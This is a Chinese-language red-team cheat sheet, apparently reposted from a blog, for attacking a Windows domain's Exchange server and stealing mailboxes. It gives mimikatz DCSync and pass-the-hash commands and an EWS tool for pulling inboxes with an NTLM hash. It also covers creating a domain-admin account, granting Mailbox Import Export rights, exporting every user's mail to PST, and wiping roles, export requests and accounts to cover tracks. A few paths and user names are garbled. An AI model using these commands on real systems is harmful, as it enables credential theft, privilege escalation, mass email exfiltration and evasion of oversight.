[域渗透] Exchange利用

一、当获取到用户hash没办法解密,但是想导出邮件可利用该方法

dcsync获取域内所有hash:lsadump::dcsync /domain:redteam.com /all /csv

利用获取到的ntml hash本地注入一个cmd,利用cmd无需账户密码信息来进行收信

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:用户 /domain:redteam.com /ntlm:hash /run:cmd" "exit"

工具:https://github.com/pentest-tools-public/Pass-to-hash-EWS

导入邮件所有内容:pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖收件箱

         pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖发件箱

 二、获取Exchange服务器权限的情况下导出邮件

在邮件服务器上打开 Exchange Management Shell

打开 EMS 所需权限:Organization Management 组成员

提升 'user' 用户为域管权限 and 加入 Organization Management 组

net user user 123456 /add

net group "domain admins" scarlet /add

net group "Organization Management" scarlet /add

Get-ManagementRoleAssignment 查看有无 Mailbox Import Export 的角色,新建一个 Exchange 角色组并将其添加到 Mailbox Import Export 管理角色中

 PS > New-RoleGroup –Name "Enterprise Mail Support" -Roles "Mailbox Import Export" -Members Administrator -Description "Import Export_Enterprise Support

 创建网络共享文件夹稍后存放保存的邮件

 一、获取所有用户邮件地址(导出格式CSV)

Get-Mailbox -ResultSize Unlimited |select displayname,PrimarySmtpAddress |Export-Csv -Encoding utf8 all-email.csv -NoTypeInformation 

二、导出指定用户所有邮件

New-MailboxExportRequest -Mailbox Administrator -FilePath "\DC empPSTmail.pst"

三、导出指定用户某个时间段邮件

New-MailboxExportRequest -ContentFilter {((Received -gt '02/22/2019 0:00:00') -and (Received -lt '08/25/2019 23:59:59')) -or ((Sent -gt '03/21/2019 0:00:00') -and (Sent -lt '05/09/2019 23:59:59'))} -Mailbox Administrator -FilePath "\DC empPSTmail.pst"

导出文件拖会本地,使用outlook打开即可看见该用户的所有邮件内容。

四、清理痕迹

删除角色:Remove-RoleGroup -Identity "Enterprise Mail Support"

删除已完成请求:Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

从组中删除用户 :net group "Organization Management" scarlet /delete

删除用户(可跳过这步保留用户):net user scarlet /delete 

参考文章:

https://www.dazhuanlan.com/2020/02/28/5e58a1ddac1c7/

原文地址:https://www.cnblogs.com/websecyw/p/14487134.html